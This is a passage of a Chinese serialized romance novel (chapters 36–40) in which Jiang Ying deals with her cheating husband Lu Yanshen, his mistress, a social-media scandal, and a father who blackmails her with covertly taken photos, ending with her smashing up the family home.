大脑短暂的宕机之后,江莹回神,狗东西真狗,这话都说得出来,把自己当水里游的家禽,他也不嫌掉价。
江莹挣扎,又想咬他,却被陆砚深识破,捏着她的下巴,让她下不去嘴,只能被迫承受男人凶狠的吻。
陆砚深吻着她,将人往床上带,嗓音沙哑,“现在想躲,来不及了。”
炙热的唇,一点点往下……
江莹推拒,“陆砚深,你有病吧。”
本就软绵绵的人,哪里是他的对手,根本就抗拒不了,更何况脑袋还有点晕乎。
在他的攻势中,江莹渐渐迷糊,原本抗拒的双手无处安放,身体忍不住开始战栗。
陆砚深感受到她的紧绷,动作不由轻了几分,带着不曾有过的温柔缱眷。
江莹迷糊了几分,陆砚深从未这么直白炙热过,她很没出息地被攻陷。
嘴里却碎碎念,“陆砚深,我恨你,你就会欺负我,我才不要用别人用过的脏东西。”
陆砚深抬眸看着身下的女人,这个时候了,怀里的小人还不忘骂他。
红扑扑的小脸上瞳孔清澈透亮,带着恰到好处的迷蒙,小巧挺俏的鼻子,半咬着的红唇,无处不勾人。
他再次低头吻她,将她所有的怨气都堵在嘴里。
男人的大手停留在她不堪一握的腰间,好像稍稍用力就会捏断。
江莹整个人像被抽走了灵魂,大脑再次空白,只能跟着他的节奏走。
下一刻,江莹被人抱了起来,天旋地转。
“你出的钱,主动权交给你。”
半是迷糊,半是清醒的人,看着躺平的男人,秀眉紧蹙。
主动权?
谁能告诉她这个主动权该怎么用?
此刻的江莹,除了热,手足无措。
想要溜之大吉,却被狗男人用力掐着腰。
折腾良久,陆砚深一阵闷哼,“江莹,你后半辈子想守活寡。”
江莹声音虚弱,仿佛下一秒就会断掉,“不会的,后面有的是弟弟,年轻身材好。”
……
这应该是陆砚深最疯狂最放纵的一次,江莹被迫承受。
事后的人像是被狂风暴雨摧残过的海棠花,枝丫斑驳,小脸粉嫩娇艳。
陆砚深看着昏睡过的女人弯腰将人抱去清洗,全程江莹眼皮都没有抬一下,软绵绵任由他抱着,仿佛被人吸光了精气神。
次日,阳光穿过窗帘,在室内落下斑驳的光晕。
江莹直觉头昏脑涨,浑身更像是被碾压过,酸软无力。她抬手揉着自己发胀的脑袋,缓缓睁开眼。
看到陌生的环境,睁大眼坐了起来。
“醒了。”
男人低沉暗哑的声音,让江莹瞬间清醒,“你怎么在这儿?”
陆砚深靠近她,扯着自己衬衣领口,声音寡淡,“你带我开房,问我为什么在这儿?什么意思,你是想跟别人来?”
江莹视线撞上男人胸口,一道道抓痕清晰明显,再傻也能猜出怎么弄的。
她脸上一热,昨晚的某些画面不合时宜的往脑子里钻。
昨晚是她第一次坐在上面,没有经验,差点伤到他,后面男人就直接把她压在了身下。
陆砚深看她脸红,嘴角微勾,“看来没有断片,第一次住酒店感觉如何?”
江莹撇开视线不搭理他,起身下床,暗恨自己不该酒后乱性。
“银货两讫,陆总可以走了。”
“江莹,你闹够了没有,我的耐性……”
陆砚深话没说完,手机响起,看到名字,他不由得拧眉。
拿着手机去一边接听。
“爸爸坏,说好的陪我睡觉,结果你又走了。”
小男孩儿哭得一抽一抽的,江莹经过他身边听得清楚。
卫生间,江莹掬起一捧冷水打在脸上,心里只剩后悔,怎么就晕乎乎地睡了。
一个脏男人,她怎么这么没出息,这点自控力都没有。
还是跟别人共用,真特么恶心到家了。
“咚咚”两声敲门声,紧接着陆砚深道:“我有事先走,下午回老宅,我回家接你。”
江莹没有说话,心想回你大爷。
这时,梁玥打来电话,“宝儿,你昨晚没有回来,是不是被人吃干抹净了。”
果然是亲闺蜜,一猜就中。
“你怎么知道?”
“用脚头想都知道,昨晚他抱你走时,你还搂着人家脖子叫弟弟,哪个男人会错过这么好的机会。”
“你也不拦着。”
梁玥冤枉,“我怎么没拦,师哥和凌澈我们三个人都没有拦住,沈斯阳那王八蛋动用了会所的保镖。”
江莹瞬间觉得自己糗大了,连师哥和凌澈都看到了她没出息的样子。
……
吃过午饭,江莹刚选好房门,陆君打来电话。
想着多一事不如少一事,若是现在闹得太僵,两家知道她要离婚,怕是更难离。
陆君虽然不喜欢她,但还是希望她快点生下长房长孙,巩固陆砚深的地位,跟他三叔抗衡。
张启明那里就不用说了,更不希望她离婚。
江莹接通电话,耐着性子叫了声:“大姐。”
“下午早点回来,家里请了几个太太来玩儿,你也该学着应酬。”
江莹对此很反感,陆君玩的要么是豪门太太,要么是政府官员的妻子,没有一个省油的灯。个个都是八百个心眼子,说半句留半句,而且眼高于顶,鼻孔朝天,江莹看了就烦。
自己一堆事,哪儿有时间应付她们。
“大姐,不好意思哈,昨天给你发消息你也没回我,我就自作主张给砚深挂了号,想着先去给他买些滋补调理的药。”
“昨天……”陆君想到停顿了一瞬,生硬的语气缓和了那么一点点,“昨天忙着定奶奶生日宴的事,忘了回你。既然你已经约好,先去拿药吧。”
“多谢大姐,买了药您帮我劝劝砚深,有病得治。”
陆君那边没有说话,直接挂了电话。
江莹回到梧桐里,换好房门,才想起来老师交代了今天下午客户会看修复进度。
看时间来得及,匆匆返回古坊斋。
刚把东西收拾好,钟宏领着两个女人走了进来。
第37章 昨晚是谁哭着求饶
“钟老,我们可是冲着您的名气来的,按说对您的能力是放心的,但这东西太过贵重,所以还是想着过来看看。”
熟悉的声音让江莹皱眉,感情自己修复的东西是秦欣的。
“应该的,里面请。”钟宏并不觉得唐突,毕竟是贵重之物,人家有权来看。
“江莹,你怎么在这儿?”
陆宁最先看到江莹,她知道江莹要从陆氏离职的事,堂姐说离职更好,刚好安心备孕,所以爷爷和奶奶都没有说什么。
“哦,这是我的学生,没想到你们认识。”钟宏乐呵呵道:“莹莹,给这两位小姐倒杯水。”
江莹扫了一眼秦欣和陆宁,转身去倒水。
“秦小姐,东西已经修复一大半,你看一下,不会耽误你用。”
钟宏带着秦欣看那件宋代妆奁,给她介绍了修复的部分。
“秦小姐,不是我自夸,这么精细的修复也只有我学……”
“两位请喝茶。”
江莹打断了自己老师的话,倒不是怕她们知道自己有这门手艺,而是怕秦欣知道是她修复的,作妖难为老师。
“钟老是业内有名的修复圣手,我自然是相信的。”
秦欣说着看向江莹,一脸的不屑,“莹莹,你辞职就找这么一个端茶倒水的工作?”
“她能找什么好工作,若不是靠着我哥,她能在陆氏工作?”
陆宁鄙夷的神色,让钟宏很不舒服,“你这小姑娘年纪轻轻,说话怎么这么尖酸刻薄。”
“钟老师没事,秦小姐已经看了东西,您上楼休息吧。我们都是老熟人了,早习惯她们这个腔调。”
钟宏看江莹给他使眼色,瞪了陆宁一眼上楼。
临走还说,“在我这儿就给我好好说话,再让我听到出言不逊,东西拿走。”
“江莹,你还真有魅力,先是有个师哥,现在又有个老师护着,可以呀。”看钟宏已经离开,陆宁挑眉道。
她这话一出口,江莹抬手给了她一耳光,“嘴巴放干净点。”
“江莹,你一个打杂的也敢打我。”
陆宁说着上前想要拉扯江莹,被江莹扼住手腕,道:“打的就是你这个吃里扒外,三观不正的人。不管怎么说我都还是你堂嫂,再靠近我,这把刀直接划在你脸上。”
陆宁被脸上冰凉的触感惊到,她什么时候拿了刀?
江莹去倒水,随手把刻刀放在了工作服的口袋里,没想到这倒成了她的底气。
陆宁赶忙松手,往后退,咬牙道:“看我不把这里砸了。”
“宁宁,别冲动,砸碎了东西是浪费你哥的钱,你还指望她和她那个贪得无厌的父亲赔呀。”
秦欣睨了江莹一眼,弯唇笑道:“江莹,其实你要缺钱我可以给你。毕竟你那个傻子妈,还有那个快死的舅妈都需要钱。砚深说过,你们家就是个无底洞,一个比一个贪婪难缠。”
若是决定离婚前听到这话,江莹一定会很难过,但现在她已经没有感觉,陆砚深对她家人的厌恶她看得清楚。
“秦小姐,你这个茶味儿,隔老远我都能闻到,你没必要为难我,相反我知道你的存在也从未找过你的麻烦,毕竟苍蝇不叮无缝蛋。”
“你说谁是苍蝇,谁是蛋呢?”陆宁捂着脸憎恨地瞪着江莹。
江莹蹙眉,“谁知道呢,他们自己认领吧。”
“江莹,我没有为难你的意思,我只是说了实话。当初你嫁给砚深不就是图钱吗,这几年你们家没少捞,贪得无厌也该有个度。再说了,进了张启明的口袋,你能拿到多少,每个月不就是为了给你妈和你舅妈付医药费吗?我给你一千万,你跟砚深离婚,足够你的开销。”
“我们女人好时光这就么几年,你拿了钱,跟你那个师哥开启新的生活不好吗?砚深一直那么讨厌你,你又何必浪费时间?”
秦欣的一番话,让江莹想笑,这小三还挺善良。
不过她这个正室确实有点惨,需要小三给钱走人,不都是正室逼走小三吗,怎么到她这里反了?
见她沉默不言,秦欣看了看陆宁,脸上笑容得体。
江莹思考一瞬,笑道:“秦小姐说得对,我嫁给陆砚深就是为了钱,要不然谁会放着我师哥那样温润的人不要,要他那个冷脸。”
“哥?”陆宁盯着门口,惊讶地叫道。
江莹顺着她的视线往门口看,果然看到陆砚深站在门口,不由得心虚。
秦欣则是心里突突直跳,不知道陆砚深有没有听到她让江莹跟他离婚的话。
“砚深,我给奶奶准备了寿礼,在这里修复,没想到莹莹在这里工作。”
陆砚深没有说话,也没有看她,冷眸看着江莹。
江莹心虚了一瞬,转念想到他跟秦欣孩子都有了,自己有什么好心虚的。
给了她一个白眼,笑道:“两位还要看吗?不看的话还请离开,不要耽误我们这里的工作。”
陆宁看到陆砚深,开始火上浇油,“哥,她刚刚打我,还说不想嫁给你,想嫁给她师哥。怪不得江北大学的论坛里有人说她三年前就跟宋瑾修有一腿。”
“宁宁,别乱说,莹莹不会的。”
秦欣一脸完全没有了刚才的高姿态,浑身透着股温柔小意的邻家女感觉。
温柔、无辜,又特别善良。
“真的,论坛里有视频,还有照片,我给你看看。”
陆宁本来是想着,今天江莹回老宅了当着家人的面捅出来,谁知道她竟然没有回去。
她说着点开江北大学论坛,直接走到陆砚深面前,“哥,你看看,我真的没有胡说。”
此刻的论坛里面更热闹了,不知道是谁竟然爆出了江莹是陆砚深的妻子。
一时间,论坛里开始有人说陆砚深是接盘侠,结婚就顶着青青草原。
陆砚深瞄了一眼,脸色阴沉得能拧出水来,“走。”
江莹还一头雾水,没搞怎么回事,啥视频,啥照片,跟她有什么关系。
狗男人是看到了什么,脸突然黑得更吓人。
“走,赶紧走。”江莹装作看不懂他脸色,借机赶人。
“哥,你怎么还向着她说话?”
秦欣扯了扯陆宁的胳膊,“宁宁,我们看完了就走吧,莹莹在这里工作也不容易,虽然钟老对她不一般,但也不能让太耽误她的时间。”
她话语间那个“不一般”故意咬得重,江莹当然能听懂她的意思,无非就是让陆砚深误会。
没等她俩抬腿,陆砚深抬步走进店内,拉起江莹的胳膊就往外走。
“你放开我。”
但男人的手紧紧攥着她,力量之大不是她能够抗拒的。
眼看硬碰硬不行,江莹拉着他的手就咬。
“江莹,你属狗的!”
这几天,只要自己一碰她,她就下嘴咬,让本就盛怒的陆砚深更气。
“我不属狗,但不影响我吃狗肉。”
秦欣那么说自己,也没见陆砚深说她一句,自己不过就说了顺嘴说了一句,他就这么对她。
跟家长惩罚孩子一样,完全不顾她的脸面,这不是当着秦欣的面让她下不来台。
果然,一个人的心不在你身上,根本就不会在乎你的感受。
“上车,否则肾源的事可有可无。”
江莹听了这话,很没出息地上车。
她想大丈夫都能屈能伸,小女人也一样。
车子开往湖心公馆,江莹扫了一眼陆砚深,“肾源到底什么时候可以有确定消息?”
“刚联系做了配型,但即便配型成功,也不会立马就能移植。”
“对方是什么情况。”
江莹听他这么说,隐隐觉得这里面有问题。
看她难得这么心平气和跟他说话,陆砚深难得语气好了几分,“现在不是你该知道的时候,等确定了自然会告诉你。”
江莹不觉得陆砚深会拿这件事要挟自己,这人除了渣,但人品还是信得过的。
看他不方便说的样子,江莹也没再追问,点开了学校论坛。
陆砚深扫到她手里页面,声音不悦,“江莹,既然是你先招惹的我,就收起你的心思。”
江莹并不知道论坛里的内容,不明白他这话什么意思,“我有什么心思?”
“哦,我嫁给你不就图你钱吗,还有别的心思?”江莹气呼呼道:“就算我有别的心思,我们都要离婚了,跟你也没关系了。”
“是吗,那昨晚算什么?”陆砚深靠近她,在她耳边低语,“哭着喊我名字求饶的不是你?”
第38章 一千万,把陆砚深卖了
江莹脸上一热,狡辩道:“肯定不是我。”
陆砚深勾唇,“还好我有准备,就知道某人会不认账。”
紧接着某人把车内的挡板升起,拿出手机,一段暧昧不堪的音频传来。
“陆砚深,我不行了。”
“求你……”
江莹瞬间抢了手机,关掉。
“是不是你的声音?”
江莹小脸绯红,强词夺理,“你要不要脸,这种时候还录音。”
“我是怕有些人不认账。”
陆砚深也不明白自己当时怎么就想起来录音,或许就是想她再提离婚了可以让她无地自容。
江莹梗着脖子,咬牙道:“酒后乱性也算?”
陆砚深睨了她一眼,“从来没有什么酒后乱性,借口罢了。”
他话音刚落,手机响起,看到杜宇的电话随手接通,一只手还死死攥着江莹。
“陆总,论坛里的帖子有人搬到了微博上,事情发酵很快。”
陆砚深给了江莹一个意味深长的眼神,声音冷硬,“控住舆论,查清楚。”
简简单单七个字,说完直接挂了电话。
他这边电话结束,江莹的手机响起。
陆砚深看到是梁玥,拧眉道:“拜我太太所赐,所有人都知道我隐婚,而且自己太太跟旧相好余情未了。”
江莹愣了,想到陆宁刚刚的话,难道真有什么视频和照片?
她跟师哥一直清清白白,连男女朋友之间的牵手都没有,哪儿的视频和照片让人发挥。
“接呀,不想听听你的死党闺蜜说什么吗?”
江莹本来是约了梁玥晚上去她那里录指纹,现在她打电话过来,还一遍遍打,显然是有急事。
她白了陆砚深一眼,接通电话,
“宝儿,你跟师哥的旧照片上在学校论坛发酵,被人发到了网上发酵得很快,链接发你了,也不知道哪个孙子在背后搞你们。”
“这要是让陆砚深那个狗东西看到,你和师哥都会有麻烦。”
江莹皱眉,“狗东西就在我身边,他已经知道了。”
“卧槽,你怎么不提醒我?果然睡了一觉就又不一样了。”
“别胡说,挂了。”
她是怕梁玥再蹦出金句,想急忙挂了电话。
梁玥并没有意识到这里的问题,以为就是学校论坛的八卦,所以也没当回事。
连江莹这个当事人都没有想到学校的论坛会让她接下来的生活,一波未平一波又起。
“别急呀,我是跟你说一声,出差两天,有部剧要开机,去看看我最喜欢的男演员。”
“知道了,注意安全!”
“放心,我这个人,看脸、看手、还听声音。”
江莹了解梁玥,熟人之间她很能扯,不管黑的白的,她都能给人聊成黄的。
但不熟的人,她很有分寸感。
挂了电话,江莹看到梁玥发过来的消息,一个头两个大,脑瓜子还突突直跳。
#江北新晋投行新贵宋瑾修和商业大佬陆砚深是情敌#。
#宋瑾修和江莹余情未了#。
“不点进去看看?”男人沉冷的声音,“网友都说我现在头上是青青草原。”
“陆砚深,我跟师哥什么事都没有,你别因为一些子虚乌有的消息,偏听偏信迁怒他,他一路走来不容易。”
江莹的维护让陆砚深咬牙冷笑,“你这话若是当着别人的面说,谁会信你们俩没关系?”
“我……”
江莹第一次体会到有理难辨。
陆砚深看她着急的脸都红了,压着心里的气,冷声道:“我来找你不是为这事。”
杜宇妹妹在江北大学,一早杜宇就给他发了消息,只是没想到事情竟然会被人转到网上。
这事背后怕是有人在推波助澜。
江莹疑惑:“那为啥事?我们俩除了离婚好像没有什么可谈的。”
一到早就被私生子叫走,秦欣前脚来,他后脚就到。
再说了,她可从来没跟他说过自己在古坊斋,他为什么去再明显不过。
现在说是来找她,骗鬼呢?
“大姐说让我积极配合治疗,不能因为面子,耽误了病情。还说给我约几个专家系统的看看,我想知道我哪里让你觉得不行,需要给我拿药调理,还要找专家系统诊治?”
江莹愣住,话题转得这么急吗?
“这…这不是正常的体检吗?检查一下没问题更好,等你想要二胎的时候可以一击即中。”
“二胎?”
陆砚深眸色暗沉了几分,并没有解释,在他心里轩轩就是他儿子。
“那你说昨晚会不会一击即中?”
江莹瞬间瞪圆了眼,“你没有做措施?”
“你想的美。”陆砚深睨了她一眼,“一个你都已经够让我头疼,再来一个,你爸还不把我骨头刻成扣子卖了?”
凉薄又不屑的语气,让江莹咬唇,在陆砚深心里,她身后拖着一个张家,一个他被迫接受的家族。
江莹无从反驳,这也是她一直在陆家抬不起头的症结所在。
看她不说话,陆砚深蹙眉,“你给我拿的药呢?”
江莹咬牙,这人有病吧,明知道她就是故意恶心他,还一个劲儿提。
“不是你不满意吗?既然我的太太这么不满意,看来我是得吃药好好调理一番,以后让你哭的时间更长一点。”
江莹:……
以后……,以后个鬼。
看她嘟着嘴,气呼呼的样子,陆砚深身体往后靠,双腿微微分开,恣意慵懒。
微微上扬的唇角,昭示着他此刻心情还不错。
江莹看他两眼,想到刚刚秦欣的谩骂,心里这会儿恨不得给他两个大逼斗。
但,有贼心没贼胆,暗暗盘算怎么才能让他签字。
陪完小情人和孩子,想起他有家了,凭什么啥都让他占了。
思来想去,给秦欣发了条消息:秦小姐,今天下午说的话还算数吗?
秦欣心里正不爽,陆砚深对江莹的态度,让她更加不安。
那个人说江莹提了离婚,陆砚深却没有签字,这意味着什么没有人比她更清楚。
看到江莹的消息,她秒回:算数,就怕你贪得无厌,说到做不到。
江莹:一千万陆砚深卖给你,我觉得很划算。
秦欣:你把砚深当什么了?
江莹:摇钱树啊,这些年摇下来不少呢。
秦欣:江莹,你要不要脸?
江莹:但我也知道他被我摇得很不耐烦,估计以后很难摇到钱,所以干脆卖了。
江莹盯着手机屏幕,看着对方一直在输入,然后输入提醒又消失,弯唇笑了。
江莹:你别费心想着怎么回我,我把离婚协议发给你,看你有没有能力让陆砚深签字。当然,作为合作你得先付我三成定金。
秦欣:你倒是会做生意。
江莹:不如你,看在大家老熟人的份上,先付我三百万就行。
心想,小三的钱有她一半,要回来一点是一点。
秦欣:我怎么相信你说的是不是真的?
江莹:那你就当我没说,反正离婚协议已经给他,他一天不签,你就当一天小三。
三百万买一个她让位的机会,秦欣不会错过。
果然,下一秒,收到消息。
秦欣:银行卡发过来。
江莹心想,心上人就是不一样,这是有信心让陆砚深签字。
五分钟后,江莹看到银行到账消息,弯唇笑了。
“笑那么不值钱。”
男人没什么情绪的声音,在她听来却是明显的挖苦。
但她心情好,不管跟他计较,“我不值钱,你值钱。”
她笑眯眯说完,手机又响了起来,看到“张启明”三个字,好心情消失。
为了不让他去闹腾自己母亲,江莹耐着性子接通电话。
“爸!”
“给我滚回来,我还真是小看你了,怪不得说不管家里的事,原来是有野男人。”
张启明怒不可遏的声音,陆砚深听得清楚。
还真好事不出门,坏事传千里。
他挑眉看着她,“我现在想到一句话,‘恶人自有恶人磨’,看来这话是真的。”
江莹挂了电话,冷着脸开口,“别人都说你头上顶着一个呼伦贝尔了,你不生气?”
陆砚深探身靠过去,“我相信自己亲身检验过的。”
江莹一巴掌推开他,“不要脸,停车,我爸让我回家。”
“回去被骂?”
“管你什么事,收起你的假好心。”
自从江莹喝醉喝着说所有人都逼她,陆砚深就让杜宇查了,这几年她妈和她舅妈的医药费虽然是张启明在支付,但他似乎并不是每月按时支付,总有那么几个月要晚上几天。
而且,他们父女感情似乎也并不像他看到的那么好。
江莹给张启明捞好处这事,或许并不是自愿的,说不定真是自己误解她了。
“要不我跟你回去?”他第一次主动提出跟她回去。
第39章 我到底是不是你女儿
江莹错愕,之前请都请不动的人,这个时候跟她回去,张启明会认为陆砚深对她有多好呢,以后怕是会变本加厉。
还是不要给自己惹麻烦的好,都要离婚了,才想起来装好人,谁稀罕。
只是还没等她拒绝,陆砚深手里响起。
江莹心说,今天大家都很忙。
陆砚深看了眼手机,拧眉接通。
“先生,小少爷又烧起来了,哭着要您陪他去医院。秦小姐似乎也被传染了,刚回来测了体温也发烧。”
江莹弯唇,还好自己没有期待,要不然……
秦欣刚刚还挺能怼人,这会就发烧了,看来动作还挺快。
“陆总业务繁忙,就不用为难去演戏。”
陆砚深沉默一瞬,轩轩是流感,一烧起来就高烧不退,不能大意。
他看了要江莹,沉声道:“我说过他们不会影响你陆太太的位置,别阴阳怪气,孩子的事……”
“陆砚深,我不想听你跟她的事。还是那句话,你不喜欢我,我也不是非扒着你不放。离婚后,婚丧嫁娶各不相干。”
听到“离婚”两个字,陆砚深刚刚的好心情,荡然无存。
江莹下车后自己打车回家。
路上点进了梁玥给她发的消息,到底是什么样的视频和照片传播得这么快。
江北大学贴吧里,原本是大家看了宋瑾修跟江北商界大佬共聚一堂,夸他能力出众是江北金融系的骄傲。
不知怎么就有人说陆砚深已婚,他说的粘人精就是江北大学一八届古建筑系的江莹。
紧接着就有人爆出,江莹曾经跟宋瑾修有过一段。
【论谈现场,陆总和宋总两个人实际暗暗较劲儿,隐形的修罗场。】
这消息一发瞬间引起关注,然后有人发了一段视频。
视频里,江莹拿着刻刀在雕一串珠子,“师哥,我觉得这个颜色最适合你,我的处女作送给你咯。”
女生甜软娇俏,嘴角旁边的梨涡透着俏皮,连同嗓音都是甜的。
那时的江莹,被幸福和宠爱包围,还未经历生活的摧残,像一朵含苞欲放的桃花,让人一眼望之,会不自觉想到一个词——美好。
“当心手,划伤了不许哭鼻子。”
很简单的互动,却有人带节奏说到处都在冒粉红泡。
真正掀起热潮的是一个跟帖人贴出的照片,看得江莹都愣住了,她什么时候跟师哥有过这么暧昧的照片?
若不是确定自己没有失忆症,她都要相信照片是真的。
照片里,江莹睡着被宋瑾修抱在怀里。宋瑾修看着她,眼底的爱意像是要溢出来。
最让人误解的是,她们穿着睡衣!
消息被人搬到了网上,因为陆砚深的身份瞬间火爆,这么多年所有人都在吃他跟秦欣的瓜,没想到被人爆出隐婚,话题度一路飙升。
陆砚深虽然平日低调,网上照片不多,但曝光的照片也看得出他本人清冷矜贵,气质不凡,足够极品。
这是什么百年难遇的狗血三角恋剧情!
还是那个商界大佬陆砚深的瓜,豪门婚姻向来备受关注,瞬间一石激起千层浪。
江莹究竟是什么神仙配置,上辈子拯救了银河系吗?上学的时候睡宋瑾修,转身还能嫁大佬。
有网友甚至把江莹的高中毕业照贴到网上。
网友纷纷感叹——原来不是上辈子拯救了银河系,是人家硬件太强悍。
普普通通的毕业合照里一眼就能认出她,小小年纪就十分美艳,眼神又透着几分清纯,恰好是男人最爱的那款又纯又欲的调调。
这时又突然有个微博小号跳出来爆料,【陆砚深娶江莹是被家里逼迫,商业联姻罢了,两人根本没感情。】
一时间,话题度居高不下。
江莹看着汹涌而来的八卦,指尖轻颤。
她看到了都气得要死,陆砚深竟然一点都不在意。
果然,爱与不爱,在他心里向来清晰。
江莹深吸一口气,冷静下来,早就看透的事实,心里已经没有之前那么难以接受。
这时宋瑾修打来电话,江莹深吸一口气接通电话。
“师哥!”
“莹莹,我今天在封城出差,网上的事我刚看到。不好意思,是我给你带来了困扰,我马上找关系处理。”宋瑾修声音疲惫。
“师哥,陆砚深已经在控制舆论,你别担心。”江莹安慰,“不过是网友捕风捉影罢了。”
江莹嘴上这么说,心里也清楚这背后怕不简单。要么是针对她,要么是针对陆砚深。
师哥一向温和的人,不会有人要针对他。
针对陆砚深图财,针对她的人怕是只有一个人。
“对不起,我不应该去参加那个商业论坛的。我要不去,就不会有这种事。”
宋瑾修自责惭愧的声音,让江莹心里不落忍,“师哥,这怎么能怪你?你能有今天,我为你高兴。”
“陆砚深有没有为难你?”宋瑾修担心的问。
“没有,我们都要离婚了,他不会生气。只是觉得影响不好,已经让人在会处理舆论,你安心忙你的事。”
“我明天就能回去,到时候师哥给你赔罪。”
江莹笑着说好,她唯一觉得有亏欠的人就是师哥,所以不想他受到任何影响。
江莹到家时,站在门口驻足良久,才深吸一口气往里走。
以前看到她回来,母亲会笑呵呵从屋里走出来。
如今,每次回来她心里都有一百个不情愿。
她刚走到门口,冷不防一个黑色的东西朝她丢了过来,不偏不倚砸在她额头上。
“不要脸的脏东西,跟你妈一样不知廉耻。”
老太太看到她,脱了拖鞋就朝她砸了过来。
“妈!”
老太太声落,张启明厉声呵斥,“气糊涂了你。”
江莹被突如其来的东西砸到,完全没有注意老太太骂她的话。
看清落在她面前的鞋,她捂着额头转身准备走。
“站住。”张启明厉声走到她跟前,“若不想这些照片也被发到网上,你就只管走。”
江莹看到张启明手机里的照片,瞬间眼前一黑。
刺骨的寒意让江莹颤抖,眸底一片死寂,她的父亲拿着她的照片威胁她。
照片里的她衣着有些暴漏,显然是刚刚洗完澡换衣服时拍的。里面的场景是她原来的卧室,这照片真真切切,不是P的。
江莹眼泪顺着脸颊往下落,她有些站不住,身体不停地哆嗦着缓缓下降,最终蹲在地上环抱着自己,久久没有回神。
一个父亲,偷拍自己女儿,照片还一直留在手机里。
除了阵阵寒意,江莹还觉得恶心。
以前只觉得张启明不喜欢自己,没想到他竟然会对她做出这样的事。
“江莹,我不管你以前怎么样,现在你要做的就是笼络住陆砚深的心,不管你用什么办法。”
身后,堂哥张旭开口,声音含笑:“江莹,其实不难,你长这么漂亮,别白瞎了老天对你的厚爱。男人都喜欢会玩儿的,床上越浪,越招人稀罕,多在陆砚深身上花点心思。让他爽,让他欲罢不能,他就舍不得你。”
张旭的话说得相当露骨,张启明不但不生气,反而说道:“跟你在外面的野男人断了,不管你用什么办法,把陆砚深给我勾住了,否则你就等着人人喊打吧。”
张冉冉不屑,“爸、旭哥,你们真觉得陆砚深还会要她?要我说还不如想办法把我送到陆氏去实习,我保证可以让陆砚深注意到我。”
老太太呵斥,“说的什么胡话,好好的一个女孩子,自作下贱。”
江莹缓缓回神,张冉冉去勾陆砚深就是自作下贱,而她就是活该下贱?
她擦了脸上的泪,从地上站了起来。
转头看着张启明,声音冷若寒霜,“张启明,我到底是不是你女儿?”
张启明原本跟江莹对视的眼底闪过一丝慌乱,他转身往客厅走,在沙发上坐下。
第40章 江莹发疯
“不想要我这个爸,你倒是给你自己再找个爸,看有没有人愿意要你那个傻子妈。”
张启明凉薄无情的话,像把带刺的刀直直扎在江莹心里。
而他捅进去似乎还不解恨,手握刀柄用力转动,搅得她剜心痛。
“天底下怎么会有你这样的无情、自私、冷血,毫无底线的爹。”江莹咬牙控诉,“从小到大,你没有关心过我,我可以不在乎,因为我有我妈、有外公他们就够了,不奢望所有人都对我好。”
“但是,哪有一个当爹的会偷拍自己的女儿,你还是个人吗?”
唐玉和张冉冉母女俩相视一眼,虽然没有说话,但她们嘴角的那抹笑深深刺痛了江莹。
她的歇斯底里,她的痛,竟然成为别人眼里的笑话。
江莹站在客厅,心里寒凉至极,自己曾经的家,成了别人的安乐窝。
而她此刻,像个小丑被人围观,评论,羞辱。
她环视客厅,看着自己曾经的家,早已经在唐玉手里变了样,恨意如迸发的火焰将她吞噬。
她拿出立在门口的高尔夫球杆,拖在地上一步步往里走。
球头与瓷砖摩擦发出尖锐的呲啦声。
坐在沙发上的一排人,瞬间警觉。
“江莹,你想干什么?”张旭直接弹了起来,直冲冲朝她过来。
“莹莹,你冷静点。”张启明起身看着她,又恢复了以往的虚伪,“不管怎么说,我是你爸。你外公和你舅舅走的突然,公司留下一摊子烂事,我也着急。”
江莹拿起球杆掂在手里,冰凉沉重的触感,让她异常清晰自己想要干什么。
下一秒,她抬手球杆指着张旭,“你再上前一步,我倒想试试能不能一杆打爆你的头。”
张旭瞬间顿住,甚至往后退了两步。
紧接着,“嘭”一声。
刺耳的碎裂声响彻整个客厅。
“江莹,你发什么疯?”
老太太怒红,但碍于江莹手里的‘凶器’,她并不敢上前。
一杆下去,江莹心里突然就敞亮了,既然这份亲情不但薄弱,还这么让人恶心,不要也罢。
她抡起球杆,又砸向了旁边的欧式摆件,瞬间碎片四溅。
江莹一下又一下的抡起又放下,砸得透彻又尽兴,像是要把积压了多年的委屈和愤怒全都发泄出来。
客厅的吊灯,墙上的油画,还有他们一家四口的合照,茶几上的摆设……
凡是唐玉布置的东西,她一样都没有放过。
原本高高坐着的一家人,这会儿四下躲避。
整个客厅,一片狼藉。
张启明从来没有见过这样的江莹,冷厉、疯狂,带着玉石俱焚的果决。
“莹莹,你快停手。”张启明看着她有几分畏惧。
张冉冉看到江莹朝她那边过去,吓得赶紧往唐玉那边跑。
江莹抬杆,对着她的屁股就挥了过去。
“啊……”
张冉冉痛呼出声,直接趴在地上,额头磕着碎玻璃上,瞬间血糊糊一片。
张旭看江莹疯了,想趁机逃跑。
刚跑两步,江莹朝着他的小腿一杆过去。
“嘶……”
又一个趴在了地上。
扫视了一圈客厅,江莹转身直直看向张启明。
湿润的小脸上,分不清是汗,还是泪。白皙的皮肤泛着红晕,那双桃花眼冰冷吓人。
“张启明,我不打你,是因为你是我生物学的父亲,但今天起,你在我心里已经死了。”
说完,江莹扔下手里的球杆,转身离开。
留下一家人惊魂未定的视线。
“江莹,你就不怕我把照片发到网上吗?”
张旭在她身后尖叫,江莹好似没有听到。
而这会儿,张启明的助理再次打来电话。
之前他担心陆砚深不要江莹,心里烦闷,助理打了两次电话他都没有接。
这会儿又连着打来两次,不知道是不是有急事?
从来不跟钱过不去的张启明接通电话,声音不悦,“什么事?”
“张总,陆氏那边杜特助二十分钟前打来电话,说同意我们参与新能源项目。”
张启明傻了,本来陆砚深就不准备让他掺和,他以为江莹闹出这种事,肯定玩儿完了。
没想到,这个节骨眼儿上,陆砚深竟然同意了?
他是没看到网上的消息吗?
一时间,张启明有些后悔,自己不该听张旭的话,用照片威胁江莹。
这下想挽回有点难!
“二叔,出什么事了?”
张旭听到了杜宇的名字,心是也咯噔一下。
在江北谁不知道,杜宇是陆砚深的人,他的言行某种程度上来说代表了陆砚深。
张启明一巴掌拍在他脑袋上,“被你小子害惨了,陆砚深同意让我们参与新能源项目了,但我们刚刚把江莹得罪了。”
张旭瞪大了眼,满脸不可思议,“陆砚深有病吧,他喜欢绿帽子?”
他们就是觉得陆砚深肯定不会要江莹,所以才逼着江莹去拴住陆砚深。
谁能想到这人竟然什么反应没有,还直接答应带他们参与新能源项目。
老太太不以为意,“慌什么,自家孩子,什么得罪不得罪?你是江岚的丈夫,是她爸,她还能断决了这层关系?”
唐玉这会儿也缓过来,安慰道:“妈,说得对,改天等莹莹气消了,我们再给她赔不是。”
老太太睨了她一眼,“有一点你给我咬住,不能给江岚离婚。”
